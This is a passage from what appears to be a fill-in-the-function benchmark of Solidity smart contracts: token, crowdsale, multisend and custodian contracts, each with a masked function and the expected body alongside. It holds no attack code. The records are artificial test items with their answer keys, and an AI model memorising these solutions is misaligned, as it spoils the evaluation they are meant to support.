require(crowdEther.add(x) <= MAX_CROWD_FUNDING_ETH);
_;
}
modifier earlierThan(uint x) {
require(now < x);
_;
}
modifier notEarlierThan(uint x) {
require(now >= x);
_;
}
modifier inWhiteList(address user) {
require(whiteList[user]);
_;
}
/**
* CONSTRUCTOR
*
* @dev Initialize the SharesChainToken contribution contract
* @param _walletOwnerAddress The escrow account address, all ethers will be sent to this address.
* @param _startTime ICO boot time
*/
function SharesChainTokenCrowdFunding(address _owner, address _walletOwnerAddress, uint _startTime, address _teamHolder, address _miningPoolHolder, address _operationHolder) public {
require(_walletOwnerAddress != 0x0);
owner = _owner;
halted = false;
close = false;
walletOwnerAddress = _walletOwnerAddress;
startTime = _startTime;
preSoldTokens = 0;
crowdEther = 0;
TEAM_HOLDER = _teamHolder;
MINING_POOL_HOLDER = _miningPoolHolder;
OPERATION_HOLDER = _operationHolder;
sharesChainToken = new SharesChainToken(this);
sharesChainToken.mintToken(_teamHolder, TEAM_INCENTIVES_AMOUNT);
sharesChainToken.mintToken(_miningPoolHolder, MINING_POOL_AMOUNT);
sharesChainToken.mintToken(_operationHolder, OPERATION_AMOUNT);
}
/**
* Fallback function
*
* @dev If anybody sends Ether directly to this contract, consider he is getting SharesChain token
*/
function () public payable {
buySCTK(msg.sender, msg.value);
}
<FILL_FUNCTION>
/// @dev Set white list in batch.
function setWhiteListInBatch(address[] users)
public
onlyOwner
{
for (uint i = 0; i < users.length; i++) {
whiteList[users[i]] = true;
}
}
/// @dev Add one user into white list.
function addOneUserIntoWhiteList(address user)
public
onlyOwner
{
whiteList[user] = true;
}
/// query locked tokens
function queryLockedTokens(address user) public view returns(uint) {
return lockedTokens[user];
}
// 根据投资者输入的以太坊数量确定赠送的SCTK数量
function calculateGotTokens(uint costEther) pure internal returns (uint gotTokens) {
gotTokens = costEther * EXCHANGE_RATE;
if (costEther > 0 && costEther < 100 ether) {
gotTokens = gotTokens.mul(1);
}else if (costEther >= 100 ether && costEther < 500 ether) {
gotTokens = gotTokens.mul(115).div(100);
}else {
gotTokens = gotTokens.mul(130).div(100);
}
return gotTokens;
}
/// @dev Emergency situation that requires contribution period to stop.
/// Contributing not possible anymore.
function halt() public onlyOwner {
halted = true;
}
/// @dev Emergency situation resolved.
/// Contributing becomes possible again withing the outlined restrictions.
function unHalt() public onlyOwner {
halted = false;
}
/// Stop crowding, cannot re-start.
function stopCrowding() public onlyOwner {
close = true;
}
/// @dev Emergency situation
function changeWalletOwnerAddress(address newWalletAddress) public onlyWalletOwner {
walletOwnerAddress = newWalletAddress;
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) {
return false;
}
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function releaseRestPreSaleTokens()
public
onlyOwner
isClose
{
uint unSoldTokens = MAX_PRE_SALE_AMOUNT - preSoldTokens;
sharesChainToken.mintToken(OPERATION_HOLDER, unSoldTokens);
}
/*
* PUBLIC FUNCTIONS
*/
/// Manually unlock 10% total tokens
function unlock10PercentTokensInBatch()
public
onlyOwner
isClose
returns (bool)
{
for (uint8 i = 0; i < investors.length; i++) {
if (leftReleaseTimes[investors[i]] > 0) {
uint releasedTokens = lockedTokens[investors[i]] / leftReleaseTimes[investors[i]];
sharesChainToken.mintToken(investors[i], releasedTokens);
lockedTokens[investors[i]] = lockedTokens[investors[i]] - releasedTokens;
leftReleaseTimes[investors[i]] = leftReleaseTimes[investors[i]] - 1;
}
}
return true;
}
} |
require(receiver != 0x0);
require(costEth >= 1 ether);
// Do not allow contracts to game the system
require(!isContract(receiver));
if (lockedTokens[receiver] == 0) {
numFunders++;
investors.push(receiver);
leftReleaseTimes[receiver] = MAX_UN_LOCK_TIMES; // 禁止在执行解锁之后重新启动众筹
}
// 根据投资者输入的以太坊数量确定赠送的SCTK数量
uint gotTokens = calculateGotTokens(costEth);
// 累计预售的Token不能超过最大预售量
require(preSoldTokens.add(gotTokens) <= MAX_PRE_SALE_AMOUNT);
lockedTokens[receiver] = lockedTokens[receiver].add(gotTokens);
preSoldTokens = preSoldTokens.add(gotTokens);
crowdEther = crowdEther.add(costEth);
walletOwnerAddress.transfer(costEth);
NewSale(receiver, costEth, gotTokens);
return true;
| function buySCTK(address receiver, uint costEth)
private
notHalted
isOpen
initialized
inWhiteList(receiver)
ceilingEtherNotReached(costEth)
notEarlierThan(startTime)
returns (bool)
| /// @dev Exchange msg.value ether to SCTK for account receiver
/// @param receiver SCTK tokens receiver
function buySCTK(address receiver, uint costEth)
private
notHalted
isOpen
initialized
inWhiteList(receiver)
ceilingEtherNotReached(costEth)
notEarlierThan(startTime)
returns (bool)
|
41629 | EURO | QuantitaveEasing | contract EURO {
string public name;
address public manager;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public isBlackListed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
event QE(address indexed from, uint256 value);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
initialSupply = 20000000 * 10 ** uint256(decimals);
tokenName = "EURO";
tokenSymbol = "EURO";
manager = msg.sender;
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!isBlackListed[msg.sender]);
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function QuantitaveEasing(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferOwnership(address newOwner) public{
require(msg.sender == manager); // Check if the sender is manager
if (newOwner != address(0)) {
manager = newOwner;
}
}
function addBlackList (address _evilUser) public{
require(msg.sender == manager);
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public {
require(msg.sender == manager);
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
struct memoIncDetails {
uint256 _receiveTime;
uint256 _receiveAmount;
address _senderAddr;
string _senderMemo;
}
mapping(address => memoIncDetails[]) textPurchases;
function sendtokenwithmemo(uint256 _amount, address _to, string memory _memo) public returns(uint256) {
textPurchases[_to].push(memoIncDetails(now, _amount, msg.sender, _memo));
_transfer(msg.sender, _to, _amount);
return 200;
}
function checkmemopurchases(address _addr, uint256 _index) view public returns(uint256,
uint256,
string memory,
address) {
uint256 rTime = textPurchases[_addr][_index]._receiveTime;
uint256 rAmount = textPurchases[_addr][_index]._receiveAmount;
string memory sMemo = textPurchases[_addr][_index]._senderMemo;
address sAddr = textPurchases[_addr][_index]._senderAddr;
if(textPurchases[_addr][_index]._receiveTime == 0){
return (0, 0,"0", _addr);
}else {
return (rTime, rAmount,sMemo, sAddr);
}
}
function getmemotextcountforaddr(address _addr) view public returns(uint256) {
return textPurchases[_addr].length;
}
} | contract EURO {
string public name;
address public manager;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public isBlackListed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
event QE(address indexed from, uint256 value);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
initialSupply = 20000000 * 10 ** uint256(decimals);
tokenName = "EURO";
tokenSymbol = "EURO";
manager = msg.sender;
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!isBlackListed[msg.sender]);
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
<FILL_FUNCTION>
function transferOwnership(address newOwner) public{
require(msg.sender == manager); // Check if the sender is manager
if (newOwner != address(0)) {
manager = newOwner;
}
}
function addBlackList (address _evilUser) public{
require(msg.sender == manager);
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public {
require(msg.sender == manager);
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
struct memoIncDetails {
uint256 _receiveTime;
uint256 _receiveAmount;
address _senderAddr;
string _senderMemo;
}
mapping(address => memoIncDetails[]) textPurchases;
function sendtokenwithmemo(uint256 _amount, address _to, string memory _memo) public returns(uint256) {
textPurchases[_to].push(memoIncDetails(now, _amount, msg.sender, _memo));
_transfer(msg.sender, _to, _amount);
return 200;
}
function checkmemopurchases(address _addr, uint256 _index) view public returns(uint256,
uint256,
string memory,
address) {
uint256 rTime = textPurchases[_addr][_index]._receiveTime;
uint256 rAmount = textPurchases[_addr][_index]._receiveAmount;
string memory sMemo = textPurchases[_addr][_index]._senderMemo;
address sAddr = textPurchases[_addr][_index]._senderAddr;
if(textPurchases[_addr][_index]._receiveTime == 0){
return (0, 0,"0", _addr);
}else {
return (rTime, rAmount,sMemo, sAddr);
}
}
function getmemotextcountforaddr(address _addr) view public returns(uint256) {
return textPurchases[_addr].length;
}
} |
require(msg.sender == manager); // Check if the sender is manager
balanceOf[msg.sender] += _value;
totalSupply += _value; // Updates totalSupply
emit QE(msg.sender, _value);
return true;
| function QuantitaveEasing(uint256 _value) public returns (bool success) | function QuantitaveEasing(uint256 _value) public returns (bool success) |
89496 | DoNotSendFundsHere | recoverETHFunds | contract DoNotSendFundsHere {
address payable public owner;
/// @dev Initialize the contract with the contract creator as the owner.
constructor() public {
owner = msg.sender;
}
/// @dev Modifier to require the message sender to be the owner.
modifier onlyOwner() {
require(
msg.sender == owner,
"Sender not authorized."
);
_;
}
/// @dev Change the sole owner of the contract.
/// @param _newOwner the address of the new owner of this contract.
function changeOwner(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
/// @dev Send all ETH held by the contract to the contract owner.
function recoverETHFunds() public onlyOwner {<FILL_FUNCTION_BODY> }
/// @dev Approve ERC20 spending for a particular ERC20 token.
/// @param _token The ERC20 token address.
/// @param _spender The spender address to authorize spending on behalf of this contract.
/// @param _value The amount authorized for the _spender.
function approveERC20Funds(ERC20 _token, address _spender, uint _value) public onlyOwner {
_token.approve(_spender, _value);
}
/// @dev Send all of the ERC20 token owned by this contract to the contract owner.
/// @param _token The ERC20 token address.
function recoverERC20Funds(ERC20 _token) public onlyOwner {
_token.transfer(owner, _token.balanceOf(address(this)));
}
/// @dev Fallback payable. DO NOT SEND ETH HERE!!! The reason this does not reject any non-zero transaction
/// is that users sending directly from centralized exchanges may experience a total loss if their transaction
/// is rejected. Do not send ETH here.
receive() external payable { }
} | contract DoNotSendFundsHere {
address payable public owner;
/// @dev Initialize the contract with the contract creator as the owner.
constructor() public {
owner = msg.sender;
}
/// @dev Modifier to require the message sender to be the owner.
modifier onlyOwner() {
require(
msg.sender == owner,
"Sender not authorized."
);
_;
}
/// @dev Change the sole owner of the contract.
/// @param _newOwner the address of the new owner of this contract.
function changeOwner(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
<FILL_FUNCTION>
/// @dev Approve ERC20 spending for a particular ERC20 token.
/// @param _token The ERC20 token address.
/// @param _spender The spender address to authorize spending on behalf of this contract.
/// @param _value The amount authorized for the _spender.
function approveERC20Funds(ERC20 _token, address _spender, uint _value) public onlyOwner {
_token.approve(_spender, _value);
}
/// @dev Send all of the ERC20 token owned by this contract to the contract owner.
/// @param _token The ERC20 token address.
function recoverERC20Funds(ERC20 _token) public onlyOwner {
_token.transfer(owner, _token.balanceOf(address(this)));
}
/// @dev Fallback payable. DO NOT SEND ETH HERE!!! The reason this does not reject any non-zero transaction
/// is that users sending directly from centralized exchanges may experience a total loss if their transaction
/// is rejected. Do not send ETH here.
receive() external payable { }
} |
owner.transfer(address(this).balance);
| function recoverETHFunds() public onlyOwner | /// @dev Send all ETH held by the contract to the contract owner.
function recoverETHFunds() public onlyOwner |
53100 | Shard | approveAndCall | contract Shard is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function Shard(
) {
balances[msg.sender] = 100000000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 100000000000000000000; // Update total supply (100000 for example)
name = "Shard"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposesa
symbol = "SHRD"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract Shard is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function Shard(
) {
balances[msg.sender] = 100000000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 100000000000000000000; // Update total supply (100000 for example)
name = "Shard"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposesa
symbol = "SHRD"; // Set the symbol for display purposes
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
2864 | Multisend | multisendEther | contract Multisend {
function multisendEther(address[] memory recipients, uint256[] memory values)
external
payable
{<FILL_FUNCTION_BODY> }
function multisendToken(
IERC20 token,
address[] memory recipients,
uint256[] memory values
) external {
uint256 total = 0;
for (uint256 i = 0; i < recipients.length; i++) total += values[i];
require(token.transferFrom(msg.sender, address(this), total));
for (uint256 i = 0; i < recipients.length; i++)
require(token.transfer(recipients[i], values[i]));
}
} | contract Multisend {
<FILL_FUNCTION>
function multisendToken(
IERC20 token,
address[] memory recipients,
uint256[] memory values
) external {
uint256 total = 0;
for (uint256 i = 0; i < recipients.length; i++) total += values[i];
require(token.transferFrom(msg.sender, address(this), total));
for (uint256 i = 0; i < recipients.length; i++)
require(token.transfer(recipients[i], values[i]));
}
} |
for (uint256 i = 0; i < recipients.length; i++)
payable(recipients[i]).transfer(values[i]);
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
| function multisendEther(address[] memory recipients, uint256[] memory values)
external
payable
| function multisendEther(address[] memory recipients, uint256[] memory values)
external
payable
|
44428 | StreampayToken | transferFrom | contract StreampayToken is IERC20 {
// Public variables of the token
uint256 public constant _totalSupply = 20000000 * 10**18;
string public constant name = "StreamPay Token";
string public constant symbol = "STPY";
uint256 public constant decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
// This creates an array with all balances
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function StreampayToken () public
{
balances[msg.sender] = _totalSupply;
}
function totalSupply() constant returns (uint256 totalSupply)
{
return _totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256 balance)
{
return balances[_owner];
}
function transfer(address _to, uint256 _value)public returns (bool success)
{
require(
balances[msg.sender] >= _value && _value > 0
);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
{<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) public returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | contract StreampayToken is IERC20 {
// Public variables of the token
uint256 public constant _totalSupply = 20000000 * 10**18;
string public constant name = "StreamPay Token";
string public constant symbol = "STPY";
uint256 public constant decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
// This creates an array with all balances
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function StreampayToken () public
{
balances[msg.sender] = _totalSupply;
}
function totalSupply() constant returns (uint256 totalSupply)
{
return _totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256 balance)
{
return balances[_owner];
}
function transfer(address _to, uint256 _value)public returns (bool success)
{
require(
balances[msg.sender] >= _value && _value > 0
);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) public returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} |
require(
allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0
);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
|
89571 | CustodianUpgradeable | confirmCustodianChange | contract CustodianUpgradeable is LockRequestable {
// TYPES
/// @dev The struct type for pending custodian changes.
struct CustodianChangeRequest {
address proposedNew;
}
// MEMBERS
/// @dev The address of the account or contract that acts as the custodian.
address public custodian;
/// @dev The map of lock ids to pending custodian changes.
mapping (bytes32 => CustodianChangeRequest) public custodianChangeReqs;
// CONSTRUCTOR
constructor(
address _custodian
)
LockRequestable()
public
{
custodian = _custodian;
}
// MODIFIERS
modifier onlyCustodian {
require(msg.sender == custodian, "only custodian");
_;
}
// PUBLIC FUNCTIONS
// (UPGRADE)
/** @notice Requests a change of the custodian associated with this contract.
*
* @dev Returns a unique lock id associated with the request.
* Anyone can call this function, but confirming the request is authorized
* by the custodian.
*
* @param _proposedCustodian The address of the new custodian.
* @return lockId A unique identifier for this request.
*/
function requestCustodianChange(address _proposedCustodian) public returns (bytes32 lockId) {
require(_proposedCustodian != address(0), "no null value for `_proposedCustodian`");
lockId = generateLockId();
custodianChangeReqs[lockId] = CustodianChangeRequest({
proposedNew: _proposedCustodian
});
emit CustodianChangeRequested(lockId, msg.sender, _proposedCustodian);
}
/** @notice Confirms a pending change of the custodian associated with this contract.
*
* @dev When called by the current custodian with a lock id associated with a
* pending custodian change, the `address custodian` member will be updated with the
* requested address.
*
* @param _lockId The identifier of a pending change request.
*/
function confirmCustodianChange(bytes32 _lockId) public onlyCustodian {<FILL_FUNCTION_BODY> }
// PRIVATE FUNCTIONS
function getCustodianChangeReq(bytes32 _lockId) private view returns (address _proposedNew) {
CustodianChangeRequest storage changeRequest = custodianChangeReqs[_lockId];
// reject ‘null’ results from the map lookup
// this can only be the case if an unknown `_lockId` is received
require(changeRequest.proposedNew != address(0), "reject ‘null’ results from the map lookup");
return changeRequest.proposedNew;
}
//EVENTS
/// @dev Emitted by successful `requestCustodianChange` calls.
event CustodianChangeRequested(
bytes32 _lockId,
address _msgSender,
address _proposedCustodian
);
/// @dev Emitted by successful `confirmCustodianChange` calls.
event CustodianChangeConfirmed(bytes32 _lockId, address _newCustodian);
} | contract CustodianUpgradeable is LockRequestable {
// TYPES
/// @dev The struct type for pending custodian changes.
struct CustodianChangeRequest {
address proposedNew;
}
// MEMBERS
/// @dev The address of the account or contract that acts as the custodian.
address public custodian;
/// @dev The map of lock ids to pending custodian changes.
mapping (bytes32 => CustodianChangeRequest) public custodianChangeReqs;
// CONSTRUCTOR
constructor(
address _custodian
)
LockRequestable()
public
{
custodian = _custodian;
}
// MODIFIERS
modifier onlyCustodian {
require(msg.sender == custodian, "only custodian");
_;
}
// PUBLIC FUNCTIONS
// (UPGRADE)
/** @notice Requests a change of the custodian associated with this contract.
*
* @dev Returns a unique lock id associated with the request.
* Anyone can call this function, but confirming the request is authorized
* by the custodian.
*
* @param _proposedCustodian The address of the new custodian.
* @return lockId A unique identifier for this request.
*/
function requestCustodianChange(address _proposedCustodian) public returns (bytes32 lockId) {
require(_proposedCustodian != address(0), "no null value for `_proposedCustodian`");
lockId = generateLockId();
custodianChangeReqs[lockId] = CustodianChangeRequest({
proposedNew: _proposedCustodian
});
emit CustodianChangeRequested(lockId, msg.sender, _proposedCustodian);
}
<FILL_FUNCTION>
// PRIVATE FUNCTIONS
function getCustodianChangeReq(bytes32 _lockId) private view returns (address _proposedNew) {
CustodianChangeRequest storage changeRequest = custodianChangeReqs[_lockId];
// reject ‘null’ results from the map lookup
// this can only be the case if an unknown `_lockId` is received
require(changeRequest.proposedNew != address(0), "reject ‘null’ results from the map lookup");
return changeRequest.proposedNew;
}
//EVENTS
/// @dev Emitted by successful `requestCustodianChange` calls.
event CustodianChangeRequested(
bytes32 _lockId,
address _msgSender,
address _proposedCustodian
);
/// @dev Emitted by successful `confirmCustodianChange` calls.
event CustodianChangeConfirmed(bytes32 _lockId, address _newCustodian);
} |
custodian = getCustodianChangeReq(_lockId);
delete custodianChangeReqs[_lockId];
emit CustodianChangeConfirmed(_lockId, custodian);
| function confirmCustodianChange(bytes32 _lockId) public onlyCustodian | /** @notice Confirms a pending change of the custodian associated with this contract.
*
* @dev When called by the current custodian with a lock id associated with a
* pending custodian change, the `address custodian` member will be updated with the
* requested address.
*
* @param _lockId The identifier of a pending change request.
*/
function confirmCustodianChange(bytes32 _lockId) public onlyCustodian |
63162 | ZcnoxToken | checkPermissions | contract ZcnoxToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
uint constant PLTime = 1538262000; // Product Launch Date September 30, 2018 12:00:00 AM
address company = 0xE8d5949A846345a891CD166f9cDAfd334abB060d;
address team = 0xdFd8Dcfd18F4bcDc74174c0a1eF04C4342EFecb2;
address crowdsale = 0xd1e624a8275cb34432afbcac5a31bf4276abe676;
address bounty = 0x4E51f4ee18Dc89B2bd10a0bc064844F6B1F08517;
uint constant companyTokens = 3000000e18;
uint constant teamTokens = 2000000e18;
uint constant crowdsaleTokens = 14000000e18;
uint constant bountyTokens = 1000000e18;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ZcnoxToken() public {
symbol = "ZNC";
name = "Zcnox";
decimals = 18;
_totalSupply = 20000000e18;
// Token Distribution
distributeToken(company, companyTokens);
distributeToken(team, teamTokens);
distributeToken(crowdsale, crowdsaleTokens);
distributeToken(bounty, bountyTokens);
}
function distributeToken(address _address, uint _amount) internal returns (bool) {
balances[_address] = _amount;
Transfer(address(0x0), _address, _amount);
}
function checkPermissions(address _from) internal constant returns (bool) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(checkPermissions(msg.sender));
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(checkPermissions(msg.sender));
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
